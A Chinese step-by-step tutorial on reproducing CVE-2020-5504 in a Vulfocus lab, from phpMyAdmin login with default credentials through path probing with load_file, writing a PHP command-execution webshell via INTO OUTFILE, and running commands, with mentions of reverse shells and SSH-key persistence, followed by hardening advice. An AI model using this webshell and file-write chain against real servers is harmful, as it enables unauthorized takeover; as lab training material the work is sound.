当前位置: 首页 > news >正文

保姆级教程:在Vulfocus靶场复现CVE-2020-5504(phpMyAdmin SQL注入到Getshell)

从零实战:在Vulfocus靶场复现phpMyAdmin SQL注入漏洞

当你第一次打开Vulfocus靶场,面对那个看似普通的phpMyAdmin登录界面时,可能完全想象不到背后隐藏着一个可以让你完全掌控服务器的漏洞。本文将带你从零开始,一步步复现CVE-2020-5504漏洞,从发现漏洞点到最终获取服务器控制权。这不是一个简单的漏洞复现指南,而是一次完整的渗透测试实战演练,特别适合刚接触Web安全的新手。

1. 环境准备与漏洞背景

在开始之前,我们需要先了解这个漏洞的基本情况和所需环境。Vulfocus是一个开源的漏洞靶场平台,它集成了各种常见漏洞环境,让安全研究人员可以在安全的环境中学习和练习漏洞利用技术。

phpMyAdmin作为最流行的MySQL数据库管理工具之一,其安全性一直备受关注。CVE-2020-5504漏洞允许攻击者通过精心构造的SQL查询,绕过部分安全限制,最终实现任意文件写入(也就是我们常说的"写马")。

所需工具清单:

  • 已部署Vulfocus靶场环境(本文使用IP:123.58.224.8:64697为例)
  • 现代浏览器(Chrome/Firefox推荐)
  • 基础SQL知识
  • 一点点耐心

提示:实际操作时,请确保使用自己的Vulfocus实例或获得授权的测试环境,未经授权的渗透测试可能涉及法律问题。

2. 漏洞发现与初步验证

当你首次访问靶场提供的phpMyAdmin界面时,可能会感到无从下手。让我们从最基本的步骤开始:

  1. 在浏览器中访问靶场提供的URL(如:http://123.58.224.8:64697)
  2. 在URL后添加/pma/index.php路径,进入phpMyAdmin登录页面
  3. 使用默认凭证登录(通常为root/123456)

登录后,我们来到了phpMyAdmin的主界面。这里就是漏洞利用的起点。这个版本的phpMyAdmin存在一个关键缺陷:它没有对用户输入的SQL查询进行充分过滤。

验证漏洞存在的简单方法:

SELECT @@version;

如果这个查询能够正常执行并返回MySQL版本信息,说明SQL查询功能可用,为后续利用奠定了基础。

3. 信息收集与路径探测

在能够执行任意SQL查询后,我们需要收集关键系统信息,特别是文件系统路径。这是后续写入Webshell的关键步骤。

3.1 获取数据库路径信息

执行以下查询获取数据库存储路径:

SELECT @@datadir;

这个命令会返回MySQL数据目录的绝对路径,通常是类似/var/lib/mysql这样的路径。虽然这不是我们最终需要的Web目录,但它能帮助我们推断系统的目录结构。

3.2 确定Web根目录

Web根目录是我们需要写入Webshell的目标位置。在不知道确切路径的情况下,我们可以尝试一些常见路径:

SELECT load_file('/var/www/html/index.php');

如果返回大量数据(通常超过4KB),说明这个路径存在且可读。通过反复尝试,我们可以确定完整的Web路径。在我们的靶场环境中,最终确定的路径是/var/www/html/pma/

注意:在实际渗透测试中,路径可能会因系统配置而异,需要结合系统信息和经验判断。

4. 构造Webshell与写入技巧

有了Web目录的绝对路径,我们就可以尝试写入Webshell了。Webshell是一段能够让我们通过Web接口执行系统命令的PHP代码。

4.1 基本Webshell构造

一个简单的Webshell代码如下:

<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>

这个代码会通过GET参数cmd接收系统命令,执行后将结果包裹在<pre>标签中输出,保持格式清晰。

4.2 使用INTO OUTFILE写入文件

将Webshell写入目标系统的SQL语句如下:

SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php';

执行成功后,我们的Webshell就被写入到了/var/www/html/pma/shell.php路径。

常见问题与解决方案:

  1. 权限问题:如果写入失败,可能是MySQL用户没有目标目录的写权限。可以尝试其他可写目录。
  2. 安全限制:某些系统配置可能限制INTO OUTFILE的使用。可以尝试修改phpMyAdmin配置或寻找其他写入方式。
  3. 路径问题:确保路径正确,特别是注意斜杠方向(Linux使用正斜杠/)。

5. 漏洞利用与系统控制

成功写入Webshell后,我们就可以通过它来执行系统命令了。

5.1 基本命令执行

访问写入的Webshell(如:http://123.58.224.8:64697/pma/shell.php),并通过cmd参数传递命令:

http://123.58.224.8:64697/pma/shell.php?cmd=ls -l /

这将列出根目录下的所有文件和目录,验证我们的Webshell是否正常工作。

5.2 查找flag文件

在CTF和靶场环境中,通常需要找到特定的flag文件。可以尝试以下命令:

find / -name "*flag*" 2>/dev/null

或者在常见位置查找:

ls /tmp/ cat /tmp/flag

5.3 建立更持久的访问

为了更方便地控制系统,可以考虑:

  1. 写入更强大的Webshell(如蚁剑连接用的shell)
  2. 创建反向shell连接
  3. 添加SSH公钥实现免密登录

6. 漏洞原理深度解析

为什么这个漏洞能够被利用?让我们深入分析其技术原理。

6.1 SQL注入点分析

这个漏洞的核心在于phpMyAdmin对用户输入的SQL查询没有进行充分的过滤和检查。虽然phpMyAdmin作为一个数据库管理工具,需要执行用户提供的SQL语句,但它应该限制某些危险操作,如INTO OUTFILE

6.2 文件写入机制

MySQL的INTO OUTFILE功能原本是为了将查询结果导出到文件,但在这里被滥用来写入任意文件内容。关键在于:

  1. MySQL服务需要有目标目录的写权限
  2. phpMyAdmin配置不能禁用此功能
  3. 攻击者需要知道Web目录的绝对路径

6.3 权限与配置问题

这个漏洞的利用还依赖于一些常见的配置问题:

  1. MySQL服务以高权限账户运行
  2. Web目录和数据库目录权限设置不当
  3. phpMyAdmin的安全配置不严格

7. 防御措施与安全建议

了解如何利用漏洞后,更重要的是知道如何防御。以下是一些有效的安全措施:

服务器加固建议:

  1. 将MySQL服务运行在专用低权限账户下
  2. 严格控制Web目录的写权限
  3. 定期更新phpMyAdmin到最新版本

phpMyAdmin安全配置:

  • 禁用INTO OUTFILELOAD_FILE等危险功能
  • 启用双重认证
  • 限制允许访问phpMyAdmin的IP地址

监控与日志:

  • 监控异常的SQL查询,特别是包含INTO OUTFILE的查询
  • 定期检查Web目录下是否有可疑的PHP文件
  • 启用详细的访问日志并定期审计

在实际渗透测试中,每完成一个漏洞利用,都应该思考如何防御它。这种双向思维不仅能帮助你更好地理解漏洞,也能提升你的安全防护能力。

http://www.jsqmd.com/news/1096676/

相关文章:

  • 别再只用CBC模式了!用Python的pycryptodome库玩转AES的GCM模式(含完整代码)
  • STM32 综合实战:SHT30/SHT45 双传感器兼容采集 + SPI-OLED 实时显示,模块化分层代码深度解析
  • 告别加载卡顿:XCOM 2模组管理器的革命性解决方案
  • 从原理到实战:剖析变色龙Ultra如何实现IC/ID卡的一体化读写与模拟
  • 别再死记硬背了!用KSA模型拆解程序员成长路径,看看你卡在哪一环
  • 抖音小红书快手私信工具横评:2026选型指南与功能对比
  • AI 辅助 UI 生成:从设计意图到代码产出的工程化闭环
  • 从Merkle根到数据指纹:区块链如何用一棵树守护交易安全
  • 用Luceda IPKISS设计你的第一个光子芯片:从Python代码到GDS版图(以方向耦合器为例)
  • FreeRTOS 调度陷阱:优先级翻转与实时性保障实战
  • 从零搭建Carsim与Simulink联合仿真平台:以ABS系统为例的实战指南
  • 基于DAPLink与OpenOCD的树莓派Pico一站式开发环境搭建
  • 构建主动式漏洞管理闭环:从零日防御到安全免疫的实战体系
  • AD9361 RSSI与发射功率控制实战精解
  • 如何3分钟免费获得专业级AI语音降噪增强效果
  • IDEA NC NCC NCCloud U8C 插件实战:从零配置到一键补丁导出
  • Diablo Edit2技术架构深度解析:暗黑破坏神2存档编辑器的二进制数据流处理实现
  • 从竞赛到实践:剖析三相AC-DC变换电路的设计要点与效率优化
  • 性能测试分析:从工具使用到系统诊断的完整方法论
  • USRP B200/B210 与GNURadio联调实战:从环境搭建到频谱观测
  • 从原型到生产:Visual Paradigm AI App Studio 实战评测
  • Vivado与ModelSim联合仿真:从环境搭建到高效调试的完整工作流
  • 拓竹将入驻苹果授权店,累计进店已超100家
  • Linux网络管理双雄:Network与NetworkManager的冲突根源与协同之道
  • RPG Maker Decrypter:三分钟掌握RPG游戏资源解密的终极指南
  • 同城外卖系统开发如何实现订单流转?业务流程与技术解析
  • AI专著撰写大揭秘:借助AI工具,3天完成20万字专著
  • 从入门到精通:利用Matlab样条工具箱实现高精度曲线拟合
  • 行业分析|2026欧盟小包免税政策终结,欧洲跨境物流与履约模式重构
  • 覆盖文理工商各专业需求:gradpaper 毕业论文功能的定制化设计